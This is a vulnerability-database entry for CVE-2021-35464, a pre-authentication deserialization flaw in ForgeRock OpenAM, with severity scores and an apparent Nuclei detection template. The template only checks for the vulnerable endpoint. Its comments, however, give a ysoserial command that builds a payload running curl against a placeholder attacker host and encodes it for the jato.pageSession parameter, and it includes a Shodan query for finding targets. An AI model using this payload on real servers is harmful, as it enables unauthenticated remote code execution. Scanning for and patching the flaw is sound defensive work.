9.8 High
CVSS3
Attack Vector
NETWORK
Attack Complexity
LOW
Privileges Required
NONE
User Interaction
NONE
Scope
UNCHANGED
Confidentiality Impact
HIGH
Integrity Impact
HIGH
Availability Impact
HIGH
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
9.7 High
AI Score
Confidence
High
10 High
CVSS2
Access Vector
NETWORK
Access Complexity
LOW
Authentication
NONE
Confidentiality Impact
COMPLETE
Integrity Impact
COMPLETE
Availability Impact
COMPLETE
AV:N/AC:L/Au:N/C:C/I:C/A:C
0.974 High
EPSS
Percentile
99.9%
ForgeRock AM server before 7.0 has a Java deserialization vulnerability in the jato.pageSession parameter on multiple pages.
id: CVE-2021-35464
info:
name: ForgeRock OpenAM <7.0 - Remote Code Execution
author: madrobot
severity: critical
description: |
ForgeRock AM server before 7.0 has a Java deserialization vulnerability in the jato.pageSession parameter on multiple pages.
The exploitation does not require authentication, and remote code execution can be triggered by sending a single crafted
/ccversion/* request to the server. The vulnerability exists due to the usage of Sun ONE Application Framework (JATO)
found in versions of Java 8 or earlier.
impact: |
Successful exploitation of this vulnerability could allow an attacker to execute arbitrary code on the affected system.
remediation: |
Upgrade ForgeRock OpenAM to version 7.0 or later to mitigate this vulnerability.
reference:
- https://portswigger.net/research/pre-auth-rce-in-forgerock-openam-cve-2021-35464
- https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-35464
- http://packetstormsecurity.com/files/163486/ForgeRock-OpenAM-Jato-Java-Deserialization.html
- http://packetstormsecurity.com/files/163525/ForgeRock-Access-Manager-OpenAM-14.6.3-Remote-Code-Execution.html
- https://bugster.forgerock.org
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 9.8
cve-id: CVE-2021-35464
cwe-id: CWE-502
epss-score: 0.97262
epss-percentile: 0.99826
cpe: cpe:2.3:a:forgerock:am:*:*:*:*:*:*:*:*
metadata:
max-request: 1
vendor: forgerock
product: am
shodan-query: http.title:"OpenAM"
tags: cve,cve2021,packetstorm,openam,rce,java,kev,forgerock
http:
- method: GET
path:
- '{{BaseURL}}/openam/oauth2/..;/ccversion/Version'
matchers-condition: and
matchers:
- type: word
part: header
words:
- "Set-Cookie: JSESSIONID="
- type: word
part: body
words:
- "Version Information -"
- "openam/ccversion/Masthead.jsp"
condition: or
- type: status
status:
- 200
# {{BaseURL}}/openam/oauth2/..;/ccversion/Version?jato.pageSession=<serialized_object>
# java -jar ysoserial-0.0.6-SNAPSHOT-all.jar Click1 "curl http://YOUR_HOST" | (echo -ne \\x00 && cat) | base64 | tr '/+' '_-' | tr -d '='
# digest: 4b0a0048304602210096ad692f00dcbf4f3af20af5a64849212f0d34f86c39fc4fb44827b84f7c71e1022100c49ca89081587287319c33037d60f573edf039decc7db504ba8c4f8be2da69e0:922c64590222798bb761d5b6d8e72950
packetstormsecurity.com/files/163486/ForgeRock-OpenAM-Jato-Java-Deserialization.html
packetstormsecurity.com/files/163525/ForgeRock-Access-Manager-OpenAM-14.6.3-Remote-Code-Execution.html
bugster.forgerock.org
cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-35464
portswigger.net/research/pre-auth-rce-in-forgerock-openam-cve-2021-35464
9.8 High
CVSS3
Attack Vector
NETWORK
Attack Complexity
LOW
Privileges Required
NONE
User Interaction
NONE
Scope
UNCHANGED
Confidentiality Impact
HIGH
Integrity Impact
HIGH
Availability Impact
HIGH
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
9.7 High
AI Score
Confidence
High
10 High
CVSS2
Access Vector
NETWORK
Access Complexity
LOW
Authentication
NONE
Confidentiality Impact
COMPLETE
Integrity Impact
COMPLETE
Availability Impact
COMPLETE
AV:N/AC:L/Au:N/C:C/I:C/A:C
0.974 High
EPSS
Percentile
99.9%